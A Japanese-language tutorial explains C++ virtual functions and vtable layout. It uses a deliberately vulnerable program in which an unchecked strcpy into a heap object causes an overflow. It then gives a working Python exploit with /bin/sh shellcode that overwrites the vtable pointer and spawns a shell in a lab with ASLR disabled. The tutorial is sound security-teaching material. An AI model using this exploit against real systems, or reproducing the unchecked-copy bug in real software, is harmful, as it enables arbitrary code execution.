ヒープオーバーフローによるC++ vtable overwriteをやってみる

「ヒープオーバーフローによるGOT overwriteをやってみる」ではプログラム中にて定義した構造体を利用してヒープオーバーフローを行った。 これに関連して、C++において仮想関数をメンバ関数に持つクラスを利用すると、ヒープオーバーフローにより任意のアドレスにジャンプさせることができる場合がある。 ここでは、C++の仮想関数およびvtableの概要と、これを利用したヒープオーバーフローによるシェルコード実行をやってみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

C++で仮想関数を持つクラスを利用した、次のようなコードを書いてみる。

// vtable.cpp
#include <cstdio>
#include <cstring>
using namespace std;

class Animal {
public:
    char name[100];
    virtual void cry() { printf("%s: ...\n", name); }
};

class Dog : public Animal {
public:
    virtual void cry() { printf("%s: bow wow\n", name); }
};

class Cat : public Animal {
public:
    virtual void cry() { printf("%s: meow\n", name); }
};

void kick(Animal* x)
{
    x->cry();
}

int main(int argc, char *argv[])
{
    Dog *dog = new Dog();
    Cat *cat = new Cat();

    printf("[+] dog->name = %p\n", dog->name);
    printf("[+] cat->name = %p\n", cat->name);
    strcpy(dog->name, argv[1]);
    strcpy(cat->name, argv[2]);
    kick(dog);
    kick(cat);

    delete cat;
    delete dog;
    return 0;
}

このコードでは、Animalクラスとこれを継承したDog、Catサブクラスがあり、それぞれのサブクラスで特殊化されたcry関数をkick関数により呼び出すものである。 また、strcpy関数を利用していることからわかるように、このコードにはヒープオーバーフローの脆弱性がある。

ASLR、DEP無効、SSP有効でコンパイル・実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ g++ -z execstack vtable.cpp

$ ./a.out pochi tama
[+] dog->name = 0x804b00c
[+] cat->name = 0x804b07c
pochi: bow wow
tama: meow

kick関数がそれぞれのサブクラスに応じたcry関数を呼び出していることがわかる。

仮想関数とvtableの仕組みについて確認してみる

仮想関数は、C++においてPolymorphismを実現するための仕組みである。 すなわち、実際に受け取ったインスタンスが属するサブクラスに応じて、呼び出される関数を変える仕組みである。 上の例において、kick関数はDogサブクラスのインスタンスが来た場合はDog::cry()を、Catサブクラスのインスタンスが来た場合はCat::cry()を呼び出している。 仮想関数は、クラスのメンバ関数にvirtualキーワードをつけることによって定義される。

この仕組みがアセンブリコード上でどのように実現されているか、objdumpコマンドを使って調べてみる。 なお、C++ではシンボル名は引数の型などをもとにName manglingと呼ばれる変換が行われるが、c++filtコマンドを使うことでこれをわかりやすい形にdemangleすることができる。 ディスアセンブルした結果のうち、kick関数の部分のみを抜き出すと次のようになる。

$ objdump -d a.out | c++filt | sed -n '/<kick(Animal\*)>:/,/^$/p'
08048574 <kick(Animal*)>:
 8048574:       55                      push   ebp
 8048575:       89 e5                   mov    ebp,esp
 8048577:       83 ec 18                sub    esp,0x18
 804857a:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 804857d:       8b 00                   mov    eax,DWORD PTR [eax]
 804857f:       8b 10                   mov    edx,DWORD PTR [eax]
 8048581:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048584:       89 04 24                mov    DWORD PTR [esp],eax
 8048587:       ff d2                   call   edx
 8048589:       c9                      leave
 804858a:       c3                      ret

上より、まずeaxレジスタに第一引数として与えたインスタンスを指すポインタがセットされ、これを2回デリファレンスしたものがedxレジスタにセットされた後call命令で呼ばれていることがわかる。 第一引数が関数の呼び出しごとに変わることを考慮すると、このコードによりDog、Catそれぞれのサブクラスに応じたcry関数が呼ばれていることが推測できる。

比較のため、メンバ関数が仮想関数でない場合についても調べてみる。 まずは、元のコードからすべてのvirtualキーワードを削除したコードを用意する。

$ cp vtable.cpp vtable2.cpp

$ vi vtable2.cpp

$ diff -u vtable.cpp vtable2.cpp
--- vtable.cpp  2014-05-13 12:06:11.138956959 +0900
+++ vtable2.cpp 2014-05-13 12:11:06.134957717 +0900
@@ -6,17 +6,17 @@
 class Animal {
 public:
     char name[100];
-    virtual void cry() { printf("%s: ...\n", name); }
+    void cry() { printf("%s: ...\n", name); }
 };

 class Dog : public Animal {
 public:
-    virtual void cry() { printf("%s: bow wow\n", name); }
+    void cry() { printf("%s: bow wow\n", name); }
 };

 class Cat : public Animal {
 public:
-    virtual void cry() { printf("%s: meow\n", name); }
+    void cry() { printf("%s: meow\n", name); }
 };

 void kick(Animal* x)

同じ条件にてコンパイルし、実行すると次のようになる。

$ g++ -z execstack vtable2.cpp

$ ./a.out pochi tama
[+] dog->name = 0x804b008
[+] cat->name = 0x804b070
pochi: ...
tama: ...

Dogサブクラス、Catサブクラスのどちらもkick関数の引数の型として指定されたAnimalクラスとして扱われ、Animal::cry()関数が呼ばれていることがわかる。

実際にアセンブリコードを見てみると、call命令で呼び出される関数がAnimal::cry()固定になっている。

$ objdump -d a.out | c++filt | sed -n '/<kick(Animal\*)>:/,/^$/p'
080484d4 <kick(Animal*)>:
 80484d4:       55                      push   ebp
 80484d5:       89 e5                   mov    ebp,esp
 80484d7:       83 ec 18                sub    esp,0x18
 80484da:       8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 80484dd:       89 04 24                mov    DWORD PTR [esp],eax
 80484e0:       e8 75 01 00 00          call   804865a <Animal::cry()>
 80484e5:       c9                      leave
 80484e6:       c3                      ret

このようにメンバ関数が仮想関数でない場合、呼び出される関数は変数の型情報をもとにコンパイル時に決定される。

メモリの状態を調べてみる

次に、各インスタンスがどのようにメモリに配置されているかを確認してみる。 再び最初のコードをコンパイルし直した後、gdbを使ってヒープ領域のメモリ内容を調べる。 なお、gdbで事前にset print asm-demangle onを実行しておくと、アセンブリコード中のシンボルがdemangleされるようになりわかりやすい。

$ g++ -z execstack vtable.cpp

$ gdb -q a.out
Reading symbols from /home/user/tmp/vtable/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) set print asm-demangle on
(gdb) disas main
Dump of assembler code for function main:
   ...
   0x08048633 <+168>:   call   0x8048490 <strcpy@plt>
   0x08048638 <+173>:   mov    eax,DWORD PTR [ebp+0xc]
   0x0804863b <+176>:   add    eax,0x8
   0x0804863e <+179>:   mov    eax,DWORD PTR [eax]
   0x08048640 <+181>:   mov    edx,DWORD PTR [esp+0x1c]
   0x08048644 <+185>:   add    edx,0x4
   0x08048647 <+188>:   mov    DWORD PTR [esp+0x4],eax
   0x0804864b <+192>:   mov    DWORD PTR [esp],edx
   0x0804864e <+195>:   call   0x8048490 <strcpy@plt>
   0x08048653 <+200>:   mov    eax,DWORD PTR [esp+0x18]
   ...
End of assembler dump.
(gdb) b *main+200
Breakpoint 1 at 0x8048653
(gdb) run AAAA BBBB
Starting program: /home/user/tmp/vtable/a.out AAAA BBBB
[+] dog->name = 0x804b00c
[+] cat->name = 0x804b07c

Breakpoint 1, 0x08048653 in main ()
(gdb) i proc map
process 22370
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/vtable/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/vtable/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/vtable/a.out
         0x804b000  0x806c000    0x21000        0x0 [heap]
        0xb7cfa000 0xb7cfc000     0x2000        0x0
        ...
(gdb) x/100wx 0x804b000
0x804b000:      0x00000000      0x00000071      0x08048860      0x41414141
0x804b010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b070:      0x00000000      0x00000071      0x08048850      0x42424242
0x804b080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b0e0:      0x00000000      0x00020f21      0x00000000      0x00000000
0x804b0f0:      0x00000000      0x00000000      0x00000000      0x00000000
...
(gdb) x/wx 0x08048860
0x8048860 <vtable for Dog+8>:   0x080486ae
(gdb) x/i 0x080486ae
   0x80486ae <Dog::cry()>:      push   ebp
(gdb) x/wx 0x08048858
0x8048858 <vtable for Dog>:     0x00000000
(gdb) x/wx 0x0804885c
0x804885c <vtable for Dog+4>:   0x08048890
(gdb) x/wx 0x08048890
0x8048890 <typeinfo for Dog>:   0x0804a068
(gdb) x/wx 0x08048850
0x8048850 <vtable for Cat+8>:   0x080486cc
(gdb) x/i 0x080486cc
   0x80486cc <Cat::cry()>:      push   ebp
(gdb) x/wx 0x08048848
0x8048848 <vtable for Cat>:     0x00000000
(gdb) x/wx 0x0804884c
0x804884c <vtable for Cat+4>:   0x0804887c
(gdb) x/wx 0x0804887c
0x804887c <typeinfo for Cat>:   0x0804a068
(gdb) quit
A debugging session is active.

        Inferior 1 [process 22370] will be killed.

Quit anyway? (y or n) y

上で調べた結果を整理すると、次のようになる。

0x804b000:
      0x00000000
      0x00000071
      0x08048860 (pointer to <vtable for Dog+8>)
0x804b00c:
      0x41414141 (dog->name)
      ...
      0x00000000
0x804b070:
      0x00000000
      0x00000071
      0x08048850 (pointer to <vtable for Cat+8>)
0x804b07c:
      0x42424242 (cat->name)
      ...
      0x00000000
0x804b0e0:
      0x00000000
      0x00020f21
      0x00000000
      ...

0x8048858 <vtable for Dog>:
      0x00000000
      0x08048890 <typeinfo for Dog>
0x8048860:
      0x080486ae <Dog::cry()>

0x8048848 <vtable for Cat>:
      0x00000000
      0x0804887c <typeinfo for Cat>
0x8048850:
      0x080486cc <Cat::cry()>

ここで、vtableは各クラスで定義されている仮想関数のリストを格納したテーブルであり、仮想関数テーブルと呼ばれる。 上のレイアウトから、strcpy関数によりdog->nameをオーバーフローさせることで、catにおいてvtableを指しているポインタを上書きできることがわかる。 そして、vtableを指しているポインタを自分がコントロール可能なバッファを指すポインタに上書きすることができれば、そこからCat::cry()の代わりに適当な命令列を実行させることができる。

エクスプロイトコードを書いてみる

上の内容をもとに、ヒープオーバーフローによりcatのvtableポインタを書き換え、Cat::cry()の代わりにシェルコードを実行させるエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

bufsize = int(sys.argv[1])
addr_buf = int(sys.argv[2], 16)

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

buf = struct.pack('<I', addr_buf+4)
buf += shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'AAAA' * 2
buf += struct.pack('<I', addr_buf)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf, 'BBBB'])
p.wait()

このコードは、ヒープオーバーフローに利用するバッファのサイズとアドレスを順に引数に取る。 このコードでは、vtableポインタをバッファの先頭を指すポインタに書き換え、Cat::cry()のアドレスが存在する部分にシェルコードのアドレスを配置している。

引数をセットし、実行してみる。

$ python exploit.py 100 0x804b00c
[+] dog->name = 0x804b00c
[+] cat->name = 0x804b07c
(snip)
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

ヒープオーバーフローを利用したvtableポインタの書き換えにより、シェルコードが実行されシェルが起動できていることが確認できた。

関連リンク